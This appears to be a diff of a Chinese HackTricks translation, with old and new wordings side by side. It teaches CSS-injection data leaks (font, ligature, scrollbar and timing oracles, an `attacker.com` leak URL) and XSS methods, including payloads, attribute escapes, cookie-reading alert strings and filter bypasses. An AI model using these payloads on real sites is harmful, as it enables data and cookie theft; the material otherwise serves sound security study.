STTF 仅在顶层浏览上下文中运行,在 iframe 内无效,这使得任何利用尝试对用户更为明显。
欲了解更多信息,请查看原始报告: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
3. **Necessity of User Activation**: STTF requires a user-activation gesture to operate, meaning exploitations are feasible only through user-initiated navigations. This requirement considerably mitigates the risk of attacks being automated without user interaction. Nevertheless, the blog post's author points out specific conditions and bypasses (e.g., social engineering, interaction with prevalent browser extensions) that might ease the attack's automation.
STTF 需要用户激活手势才能运行,这意味着利用只有通过用户发起的导航才可行。该要求大大降低了在没有用户交互下自动化攻击的风险。不过,博客作者指出了特定条件和绕过方式(例如 social engineering、与常见 browser extensions 的交互),这些可能使攻击自动化更容易。
你可以查看一个 [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb)。
Awareness of these mechanisms and potential vulnerabilities is key for maintaining web security and safeguarding against such exploitative tactics.
了解这些机制和潜在漏洞对于维护 web 安全并防范此类利用性手段至关重要。
For more information check the original report: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
You can check an [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
你可以为特定的 unicode 值 指定 **外部字体external fonts**,这些字体只有在页面存在这些 unicode 值时才会被 **获取**。例如:
You can specify **external fonts for specific unicode values** that will only be **gathered if those unicode values are present** in the page. For example:
```html
<style>
@font-face {
@ -242,25 +248,25 @@ font-family: poc;
<p id="sensitive-information">AB</p>
htm
```
当你访问此页面时Chrome 和 Firefox 会请求 "?A" 和 "?B",因为 sensitive-information 的文本节点包含字符 "A" 和 "B"。但 Chrome 和 Firefox 不会请求 "?C",因为它不包含 "C"。这意味着我们已能够读取 "A" 和 "B"。
当你访问此页面时Chrome 和 Firefox 会请求 "?A" 和 "?B",因为 sensitive-information 的文本节点包含字符 "A" 和 "B"。但 Chrome 和 Firefox 不会请求 "?C",因为它不包含 "C"。这意味着我们已能够读取 "A" 和 "B"。
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
**Reference:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
**参考:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
该技术通过利用 font ligatures 并监测宽度变化,从节点中提取文本。该过程包含多个步骤:
该技术通过利用字体 ligatures连字并监测宽度变化从节点中提取文本。该过程包含若干步骤:
1. **Creation of Custom Fonts**:
- 使用包含 `horiz-adv-x` 属性的 glyph 创建 SVG 字体,`horiz-adv-x` 为表示两个字符序列的 glyph 设置很大的宽度。
- 示例 SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`,其中 "XY" 表示一个两个字符的序列。
- 使用 SVG fonts 创建带有 glyph 的字形glyph 带有 `horiz-adv-x` 属性,为表示两个字符序列的字形设置很大的宽度。
- 示例 SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`,其中 "XY" 表示两个字符的序列。
- 然后使用 fontforge 将这些字体转换为 woff 格式。
2. **Detection of Width Changes**:
- 使用 CSS 确保文本不换行(`white-space: nowrap`)并自定义滚动条样式。
- 横向滚动条的出现样式特殊充当指示器oracle表明某个特定 ligature从而某个特定的字符序列存在于文本中。
- 涉及的 CSS
- 当水平滚动条以特定样式出现时作为一个指标oracle表明某个特定的 ligature连字也就是特定的字符序列出现在文本中。
- 相关 CSS
```css
body {
white-space: nowrap;
@ -275,28 +281,28 @@ background: url(http://attacker.com/?leak);
3. **Exploit Process**:
- **Step 1**: 为字符对创建具有大宽度的字体。
- **Step 2**: 使用基于滚动条的技巧检测何时渲染了大宽度的 glyph字符对的 ligature从而指示该字符序列存在。
- **Step 3**: 检测到 ligature 后,生成表示三字符序列的新 glyph将已检测到的字符对与前置或后置字符组合。
- **Step 4**: 对三字符 ligature 进行检测
- **Step 5**: 重复该过程,逐步揭示整个文本。
- **Step 1**:为字符对创建具有较大宽度的字体。
- **Step 2**:利用基于滚动条的技巧检测何时渲染了大宽度字形(字符对的 ligature从而表明该字符序列存在。
- **Step 3**:在检测到连字后,生成表示三字符序列的新字形,将检测到的字符对与前后字符组合。
- **Step 4**:检测三字符连字
- **Step 5**:重复此过程,逐步揭示整个文本。
4. **Optimization**:
- 当前通过 `<meta refresh=...` 初始化的方法并不理想
- 更高效的方法可以利用 CSS 的 `@import` 技巧,以提升 exploit 的性能。
- 当前使用 `<meta refresh=...` 的初始化方法并非最优
- 更高效的方法可能涉及使用 CSS 的 `@import` 技巧,从而提升 exploit 的性能。
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
**参考:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). 文本节点中使用的 charset 可以使用浏览器中已安装的默认字体 leak不需要外部或自定义字体。
This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/)。文本节点使用的 charset 可以被 leaked方法是使用浏览器中预装的默认字体无需外部或自定义字体。
其原理是利用动画逐步扩大一个 `div` 的宽度,使得字符一个接一个地从文本的 'suffix' 部分移动到 'prefix' 部分。该过程将文本有效地拆分为两部分:
该思路是利用动画逐步扩展一个 `div` 的宽度使得每次一个字符从文本的后缀suffix部分移动到前缀prefix部分。这个过程将文本有效地拆分为两部分:
1. **Prefix**: 初始行。
2. **Suffix**: 随后的一行或多行。
1. **Prefix**:起始行。
2. **Suffix**:后续行。
字符的过渡阶段如下所示:
字符的过渡阶段将如下显示:
**C**\
ADB
@ -309,15 +315,15 @@ B
**CADB**
在此过渡过程中,使用 **unicode-range trick** 来识别每个加入 prefix 的新字符。实现方式是将字体切换为 Comic SansComic Sans 明显比默认字体更高),从而触发垂直滚动条。该滚动条的出现间接地揭示了 prefix 中新字符的存在
在此过渡过程中,使用 **unicode-range trick** 来识别每个加入前缀的新字符。方法是将字体切换为 Comic Sans该字体明显比默认字体更高从而触发垂直滚动条。该滚动条的出现间接表明前缀中出现了一个新字符
尽管此方法可以检测到出现的唯一字符,但无法指明哪个字符被重复,只能表明发生了重复。
尽管该方法能检测到字符何时首次出现,但不能指出哪个字符被重复,只能表明发生了重复。
> [!TIP]
> 基本上,**unicode-range 是用来检测字符的**,但因为我们不想加载外部字体,所以需要另寻他法。\
> 当**字符****找到** 时,会将其赋予预装的 **Comic Sans** 字体,这会使该字符**变大**并**触发滚动条**,从而**leak 所找到的字符**
> 基本上,**unicode-range 用于检测 char**,但因为我们不想加载外部字体,需要找到另一种方法。\
> 当 **char****找到** 时,会将其指定为预装的 **Comic Sans** 字体,这会让该 char **变大****触发滚动条**,从而会 **leak 被找到的 char**
Check the code extracted from the PoC:
查看从 PoC 提取的代码:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
@ -742,17 +748,17 @@ div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (III): leaking the charset 通过隐藏元素并使用默认字体(不需要外部资产) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Reference:** 这在 [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) 中提到
**Reference:** 这在 [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) 中提到
个情况与前一种非常相似,不过这里的目标是通过让特定 **chars 比其他字符更大以隐藏某些东西**,例如一个不会被 bot 点击的按钮或一个不会被加载的图片。这样我们可以测量该操作(或未发生的操作),从而判断某个特定的 char 是否出现在文本中。
种情况与前一种非常相似,然而在本例中,使特定 **字符比其他字符更大以隐藏某些东西** 的目的,是为了隐藏某些元素,比如防止 bot 按下的按钮或者不会被加载的图片。因此我们可以测量该动作(或该动作的缺失),从而判断特定字符是否存在于文本中。
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Reference:** 这在 [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) 中提到
**Reference:** 这在 [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) 中提到
在这种情况下,我们可以尝试通过从 same origin 加载一个 fake font 来 leak 文本中是否包含某个 char
在这种情况下,我们可以尝试通过从相同源加载一个伪字体来 leak 某个字符是否存在于文本中
```css
@font-face {
font-family: "A1";
@ -760,15 +766,15 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
如果有匹配,**font will be loaded from `/static/bootstrap.min.css?q=1`**。虽然它不会成功加载,**browser should cache it**,即使没有 cache也有 **304 not modified** 机制,所以 **response should be faster** 比其他资源要快
如果匹配,**字体会从 `/static/bootstrap.min.css?q=1` 加载**。虽然它不会成功加载,但**浏览器应该会将其缓存**,即使没有缓存,也有 **304 not modified** 机制,所以相比其他请求,**响应应该会更快**
然而,如果缓存的 response 与未缓存的 response 的时间差不够大,这就没什么用。例如,作者提到:经过测试,我发现第一个问题是速度差别不大,第二个问题是 bot 使用了 `disk-cache-size=1`志,这确实很用心
但是,如果缓存响应与非缓存响应之间的时间差不够大,这就没什么用。举例来说,作者提到:不过,通过测试,我发现第一个问题是速度差别不大,第二个问题是 bot 使用了 `disk-cache-size=1`记,这点很周到
### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (无需外部资源) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Reference:** 这在 [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) 中有提及。
在这种情况下,当发生匹配时,你可以指示 **CSS to load hundreds of fake fonts** 从同一源加载数百个伪造字体。通过这种方式,你可以 **measure the time** 所需时间,并用类似下面的方法判断某个字符是否出现:
在这种情况下,当匹配发生时,你可以指定 **CSS 来加载数百个伪字体** 从相同源。通过这种方式,你可以**测量所需时间**,并用类似下面的方法判断某个 char 是否出现:
```css
@font-face {
font-family: "A1";
@ -777,13 +783,13 @@ src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
unicode-range: U+0041;
}
```
而机器人的代码如下:
bot 的代码如下:
```python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
因此,如果字体不匹配,访问 bot 时的响应时间预计约为 30 秒。然而,如果字体匹配,会发送多个请求来检索字体,导致网络持续活动。结果是满足停止条件并收到响应需要更长时间。因此,响应时间可以用作判断字体是否匹配的指标。
因此,如果字体不匹配,访问 bot 时的响应时间预计约为 30 秒。然而,如果字体匹配,会发送多个请求来获取该字体,导致网络持续活动。结果是满足停止条件并收到响应所需的时间更长。因此,响应时间可用作判断是否存在字体匹配的指标。
## References

View File

@ -2,83 +2,83 @@
{{#include ../../banners/hacktricks-training.md}}
## Methodology
## 方法论
1. 检查 **任何你控制的值** (_parameters_, _path_, _headers_?, _cookies_?) 是否被**反射**到 HTML 中或被 **JS** 代码**使用**。
1. 检查是否有 **任何你控制的值** (_parameters_, _path_, _headers_?, _cookies_?) 被**反射**在 HTML 中或被 **JS** 代码**使用**。
2. **找出被反射/使用的上下文**
3. 如果 **reflected**
1. 检查 **你可以使用哪些符号**,并根据这些准备 payload
3. 如果 **reflected**
1. 检查 **你可以使用哪些符号**,并据此准备 payload
1. 在 **raw HTML** 中:
1. 你能创建新的 HTML 标签吗?
1. 你能创建新的 HTML tag 吗?
2. 你能使用支持 `javascript:` 协议的事件或属性吗?
3. 你能绕过保护吗?
4. HTML 内容是否被任何客户端 JS 引擎_AngularJS_, _VueJS_, _Mavo_...)解释你可以滥用 [**Client Side Template Injection**](../client-side-template-injection-csti.md)。
5. 如果你不能创建执行 JS 的 HTML 标签,能否滥用 [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)
4. HTML 内容是否被任何客户端 JS 引擎_AngularJS_, _VueJS_, _Mavo_...)解释你可以滥用 [**Client Side Template Injection**](../client-side-template-injection-csti.md)。
5. 如果你不能创建能执行 JS 的 HTML tag是否可以滥用 [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)
2. 在 **HTML 标签内**
1. 你能退出到 raw HTML 上下文吗?
2. 你能创建新的事件/属性来执行 JS 吗?
3. 你被困的属性是否支持 JS 执行?
3. 你被困的属性是否支持 JS 执行?
4. 你能绕过保护吗?
3. 在 **JavaScript 代码** 内:
1. 你能逃逸 `<script>` 标签吗?
2. 你能跳出字符串并执行不同的 JS 代码吗?
3. 你的输入是否在模板字面量 `````` 中?
1. 你能转义 `<script>` tag 吗?
2. 你能转义字符串并执行不同的 JS 代码吗?
3. 你的输入是否在 template literals `` 中?
4. 你能绕过保护吗?
4. 被**执行**的 Javascript **function**
1. 你可以指要执行的函数名。例如:`?callback=alert(1)`
4. 如果 **used**
1. 你可以利用 **DOM XSS**,注意你的输入如何被控制以及你的**受控输入是否被任何 sink 使用**。
1. 你可以指要执行的函数名。例如:`?callback=alert(1)`
4. 如果 **used**
1. 你可能会利用 **DOM XSS**,注意你的输入如何被控制以及你的**可控输入是否被任何 sink 使用**。
在处理复杂的 XSS 时,你可能会对以下内容感兴趣
在处理复杂的 XSS 时,你可能会想了解
{{#ref}}
debugging-client-side-js.md
{{#endref}}
## Reflected values
## 被反射的值
要成功利用 XSS首先需要找到一个**由你控制且被反射的值**出现页中。
要成功利用 XSS首先需要找到一个**由你控制且被反射**在页的值
- **Intermediately reflected**:如果你发现一个参数的值或路径被反射到网页中,你可能可以利用 **Reflected XSS**
- **Stored and reflected**:如果你发现一个由你控制的值被保存在服务器上并在每次访问页面时反射出来,你可能可以利用 **Stored XSS**
- **Accessed via JS**:如果你发现一个由你控制的值被 JS 访问,你可能可以利用 **DOM XSS**
- **即时反射**:如果你发现某个参数的值或甚至路径被反射在网页中,你可以利用 **Reflected XSS**
- **存储并被反射**:如果你发现由你控制的值被保存在服务器上并在每次访问页面时反射,你可以利用 **Stored XSS**
- **被 JS 访问**:如果你发现由你控制的值被 JS 访问,你可以利用 **DOM XSS**
## Contexts
## 上下文
在尝试利用 XSS 时,首先要知道**你的输入被反射在哪个位置**。根据不同的上下文,你将以不同的方式执行任意 JS 代码。
在尝试利用 XSS 时,首先需要知道 **你的输入被反射到哪里**。根据上下文,你能够用不同方式执行任意 JS 代码。
### Raw HTML
### 原始 HTML
如果你的输入**反射在原始 HTML** 页面中,你需要滥用某些 **HTML 标签** 来执行 JS 代码:`<img , <iframe , <svg , <script` ... 这些只是可以使用的众多 HTML 标签中的一部分。\
另外,记住 [Client Side Template Injection](../client-side-template-injection-csti.md)。
如果你的输入**被反射到原始 HTML** 页面中,你需要滥用一些 **HTML tag** 来执行 JS 代码:`<img , <iframe , <svg , <script` ... 这些只是可用 HTML tag 的一部分。\
另外,注意 [Client Side Template Injection](../client-side-template-injection-csti.md)。
### Inside HTML tags attribute
### 在 HTML 标签属性内
如果你的输入被反射在某个标签属性的值中,你可以尝试:
1. **逃出属性和标签**(然后你将进入 raw HTML并创建新的 HTML 标签来滥用:`"><img [...]`
2. 如果你**能逃出属性但无法逃出标签**`>` 被编码或删除),根据标签你可以**创建一个事件**来执行 JS 代码`" autofocus onfocus=alert(1) x="`
3. 如果你**不能逃出属性**`"` 被编码或删除),那么取决于**属性是哪种**以及你是控制整个值还是只是部分,你将能以不同方式滥用它。例如,如果你控制一个像 `onclick=` 的事件,你可以让它在被点击时执行任意代码。另一个有趣的例子是属性 `href`,你可以使用 `javascript:` 协议来执行任意代码:**`href="javascript:alert(1)"`**
4. 如果你的输入被反射在“不可利用的标签”内,你可以尝试使用 **`accesskey`** 技巧来滥用该漏洞(这通常需要某种社会工程来触发**`" accesskey="x" onclick="alert(1)" x="`**
1. **从属性和标签中转义**(然后你将进入 raw HTML并创建新的 HTML tag 来滥用:`"><img [...]`
2. 如果你**能从属性中转义但不能从标签中转义**`>` 被编码或删除),取决于标签你可以**创建一个事件**来执行 JS`" autofocus onfocus=alert(1) x="`
3. 如果你**不能从属性中转义**`"` 被编码或删除),那么取决于**哪个属性**反射了你的值以及你是否控制整个值或只是其一部分,你可以滥用它。例如,如果你能控制像 `onclick=` 这样的事件属性,你就可以让它在被点击时执行任意代码。另一个有趣的例子是 `href` 属性,你可以使用 `javascript:` 协议来执行任意代码:**`href="javascript:alert(1)"`**
4. 如果你的输入被反射在“不可利用的标签”内,你可以尝试使用 **`accesskey`** 技巧来滥用该漏洞(这需要一定的社会工程学才能利用**`" accesskey="x" onclick="alert(1)" x="`**
如果你控制类名Angular 执行 XSS 的一个奇怪例子:
如果你控制类名,会导致 Angular 执行 XSS 的奇怪例子:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
### 在 JavaScript 代码内部
### 在 JavaScript 代码
在这种情况下,你的输入被反射在 HTML 页面中的 **`<script> [...] </script>`** 标签之间、一个 `.js` 文件内,或使用 **`javascript:`** 协议的属性
在这种情况下,你的输入会被反射到 HTML 页面中的 **`<script> [...] </script>`** 标签之间、`.js` 文件内,或使用 **`javascript:`** 协议的属性
- 如果反射在 **`<script> [...] </script>`** 标签之间,即使你的输入位于任何类型的引号内,你也可以尝试注入 `</script>` 并从该上下文中逃出。 这是因为 **浏览器会先解析 HTML 标签** 然后解析内容,因此不会注意到你注入的 `</script>` 标签位于 HTML 代码内部。
- 如果反射在 **JS 字符串内部** 并且上一个技巧无效,你需要**退出**该字符串、**执行**你的代码并**重建**JS 代码(如果有任何错误,它将不会被执行
- 如果反射在 **`<script> [...] </script>`** 标签之间,即使你的输入在任何类型的引号内,也可以尝试注入 `</script>` 来跳出该上下文。这之所以可行,是因为浏览器**会先解析 HTML 标签**然后再解析内容,因此它不会注意到你注入的 `</script>` 标签位于 HTML 代码内部。
- 如果被反射到 **JS 字符串内部**,而上一个技巧不起作用,你需要**退出**字符串、**执行**你的代码并**重建**JS 代码(如果有任何错误,它将不会被执行:
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
- 如果反射在 template literals 中,你可以使用 `${ ... }` 语法**嵌入 JS 表达式** `` var greetings = `Hello, ${alert(1)}` ``
- **Unicode encode**用于编写 **valid javascript code**
- 如果被反射在模板字面量内部,你可以**嵌入 JS 表达式**,使用 `${ ... }` 语法 `` var greetings = `Hello, ${alert(1)}` ``
- **Unicode encode**以用来写出**valid javascript code**
```javascript
alert(1)
alert(1)
@ -86,8 +86,8 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoisting 指的是可以在使用后再声明函数、变量或类的机会,因此你可以在 XSS 使用未声明的变量或函数时进行利用。\
**查看更多信息请参阅以下页面:**
Javascript Hoisting 指的是在使用之后再**声明函数、变量或类**的可能性,这样可以滥用那些 XSS 使用未声明变量或函数的场景。\
**更多信息请查看以下页面:**
{{#ref}}
@ -96,19 +96,19 @@ js-hoisting.md
### Javascript Function
许多网页有一些 endpoints 会**接受作为参数的要执行函数名**。在实际中常见的例子像`?callback=callbackFunc`
一些网页会有端点endpoints**接受作为参数要执行的函数名**。常见的例子是在野外看到类似的用法`?callback=callbackFunc`
测试用户直接提供的某些值是否会被执行的好方法是**修改该参数值**(例如改为 'Vulnerable'),并在控制台中查看是否有如下错误:
判断用户直接提供的内容是否会被执行的一个好方法是**修改参数值**(例如改为 'Vulnerable'),并在控制台查看是否出现如下错误:
![](<../../images/image (711).png>)
如果存在漏洞,你可能能够仅通过发送该值就**触发一个 alert****`?callback=alert(1)`**。不过,这类端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。
如果存在漏洞,你可能只需发送该值就能**触发 alert****`?callback=alert(1)`**。不过,这类端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。
然而,即使在该限制下仍然可以执行某些操作。这是因为你可以使用这些合法字符来**访问 DOM 中的任意元素**
然而,即使有这种限制,仍然可以执行某些操作。原因是你可以利用这些合法字符去**访问 DOM 中的任意元素**
![](<../../images/image (747).png>)
一些有用的函数包括
一些对此有用的函数:
```
firstElementChild
lastElementChild
@ -118,9 +118,9 @@ parentElement
```
你也可以尝试直接**触发 Javascript 函数**`obj.sales.delOrders`
但是,通常执行该函数的端点并没有太多有趣的 DOM来自同源的其他页面会有更有趣的 DOM 来执行更多操作。
然而,通常执行该函数的端点没有太多有趣的 DOM**同一来源的其他页面**会有**更有趣的 DOM**来执行更多操作。
因此,为了在不同的 DOM 中**滥用该漏洞**,开发了 **Same Origin Method Execution (SOME)** 利用方法:
因此,为了**在不同的 DOM 中滥用此漏洞**,开发了 **Same Origin Method Execution (SOME)** 利用方法:
{{#ref}}
@ -129,7 +129,7 @@ some-same-origin-method-execution.md
### DOM
存在使用**不安全**的**JS code**来利用某些**由攻击者控制的数据**(例如 `location.href`)。攻击者可以滥用此来执行任意 JS 代码。
存在**JS code**非安全地使用一些由攻击者控制的数据,例如 `location.href`。攻击者可以滥用此点来执行任意 JS 代码。
{{#ref}}
@ -138,7 +138,7 @@ dom-xss.md
### **Universal XSS**
型的 XSS 可以出现在**任何地方**。它们不仅依赖于对 web 应用的客户端利用,而是依赖于**任何****上下文**。此类**任意 JavaScript 执行**甚至可以被滥用以获取 **RCE**、在客户端和服务器上**读取任意文件**,等等。
这类 XSS 可以在**任何地方**被发现。它们不仅依赖于对 web 应用的客户端利用,还依赖于**任何****上下文**。这类**任意 JavaScript 执行**甚至可以被滥用以获得 **RCE**、在客户端和服务器上**读取任意文件**,以及更多。\
一些**示例**
@ -155,13 +155,13 @@ server-side-xss-dynamic-pdf.md
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
## Injecting inside raw HTML
## 在原始 HTML 中注入
当你的输入被反映在 HTML 页面内,或你可以在该上下文中转义并注入 HTML 代码时,首先要做的是检查是否可以滥用 `<` 来创建新标签:尝试使该字符被**反射**,并检查它是否被**HTML 编码**、**删除**,还是**原样反射**。只有在最后一种情况下你才能利用该问题。
对于这类情况,也请记住 [**Client Side Template Injection**](../client-side-template-injection-csti.md)。
_**注意HTML 注释可以使用 `-->``--!>` 关闭**_
当你的输入被反射到**HTML 页面内部**,或者你可以在该上下文中转义并注入 HTML 代码时,**第一**件要做的事是检查是否可以滥用 `<` 来创建新标签:只需尝试**反射**该**字符**并检查它是否被**HTML 编码**或**删除**,或是否被**原样反射**。**仅在最后一种情况下你才可以利用该情形**。\
对于这些情形也**请记住** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Note: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\*_
在这种情况下,如果没有使用黑/白名单过滤,你可以使用类似的 payloads
在这种情况下,如果未使用黑/白名单,你可以使用如下 payloads
```html
<script>
alert(1)
@ -169,22 +169,22 @@ alert(1)
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
```
是,如果使用 tags/attributes 黑/白名单过滤,你需要 **brute-force which tags**创建。\
一旦你 **located which tags are allowed**,你需要在找到的有效 tags 中 **brute-force attributes/events**,以确定如何针对特定上下文进行攻击
如果使用了标签/属性的黑/白名单过滤,你将需要 **brute-force which tags** 你可以创建。\
一旦你**located which tags are allowed**,你需要在已发现的有效标签内 **brute-force attributes/events**,以查看如何利用该上下文
### Tags/Events brute-force
### 标签/事件 brute-force
Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags (in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before).
### Custom tags
### 自定义标签
如果没有找到任何有效的 HTML tag可以尝试 **create a custom tag** 并使用 `onfocus` 属性执行 JS 代码。在 XSS 请求中,需要在 URL 末尾添加 `#`,以使页面 **focus on that object****execute** 代码:
如果你没有找到任何有效的 HTML 标签,可以尝试 **create a custom tag** 并使用 `onfocus` 属性执行 JS 代码。在 XSS 请求中,需要在 URL 末尾添加 `#`,以使页面 **focus on that object****execute** 代码:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Blacklist Bypasses
如果正在使用某种 blacklist你可以尝试用一些简单的技巧来 bypass 它:
如果正在使用某种 blacklist你可以尝试用一些小技巧来绕过它:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -236,29 +236,29 @@ onerror=alert`1`
```
### Length bypass (small XSSs)
> [!NOTE] > **更多适用于不同环境的 tiny XSS** payload [**可在此处找到**](https://github.com/terjanq/Tiny-XSS-Payloads) 和 [**此处**](https://tinyxss.terjanq.me).
> [!NOTE] > **更多针对不同环境的 tiny XSS** payload [**can be found here**](https://github.com/terjanq/Tiny-XSS-Payloads) 和 [**here**](https://tinyxss.terjanq.me).
```html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//.pw>
```
最后一个使用了2个 Unicode 字符会扩展为5个telsr\
更多这样的字符可以在 [here](https://www.unicode.org/charts/normalization) 找到。\
最后一个使用了 2 个 unicode 字符,会展开为 5 个telsr\
更多此类字符可以在 [here](https://www.unicode.org/charts/normalization/) 找到。\
要检查哪些字符被分解,请查看 [here](https://www.compart.com/en/unicode/U+2121)。
### Click XSS - Clickjacking
如果为了利用该漏洞你需要**用户点击带有预填数据的链接或表单**,可以尝试[**abuse Clickjacking**](../clickjacking.md#xss-clickjacking)(如果页面存在漏洞)。
如果为了 exploit the vulnerability 你需要 **user to click a link or a form**(带有预填数据),你可以尝试 [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking)(如果页面存在漏洞)。
### Impossible - Dangling Markup
### 不可能 - Dangling Markup
如果你只是认为**无法创建带有属性以执行 JS 代码的 HTML 标签**,你应该查看[**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)because 你可以**exploit**该漏洞**而无需**执行**JS**代码
如果你认为 **it's impossible to create an HTML tag with an attribute to execute JS code**,你应该查看 [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) 因为你可能在**不**执行 **JS** 代码的情况下 **exploit****vulnerability**
## Injecting inside HTML tag
## 在 HTML tag 中注入
### Inside the tag/escaping from attribute value
### 在 tag 内/从 attribute value 中 escape
如果你处于**HTML tag 内部**,首先可以尝试**从标签中逃逸**,并使用[上一节](#injecting-inside-raw-html)提到的一些技术来执行 JS 代码。\
如果你**无法从标签中逃逸**,你可以在标签内部创建新的属性来尝试执行 JS 代码,例如使用类似的 payload_注意在此示例中使用双引号来从属性中转义如果你的输入直接反映在标签内则不需要它们_
如果你位于 **inside a HTML tag**,首先可以尝试 **escape** 出该 tag并使用 [previous section](#injecting-inside-raw-html) 中提到的一些技术来执行 **JS** 代码。\
如果你 **cannot escape from the tag**,可以在该 tag 内创建新的 attributes 来尝试执行 **JS** 代码,例如使用如下 payload_注意在此示例中双引号用于从 attribute 中 escape如果你的输入是直接反射到 tag 内则不需要它们_
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -273,16 +273,16 @@ onerror=alert`1`
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
```
### 在属性内部
### Within the attribute
使你 **无法从属性中转义**`"` 被编码或删除),取决于你的值被反射到 **哪个属性** 上,以及你是控制整个值还是只控制一部分,你仍然可以利用它。**例如**,如果你控制像 `onclick=` 这样的事件,你就可以在被点击时执行任意代码。\
另一个有趣的**例子**是属性 `href`,你可以使用 `javascript:` 协议来执行任意代码:**`href="javascript:alert(1)"`**
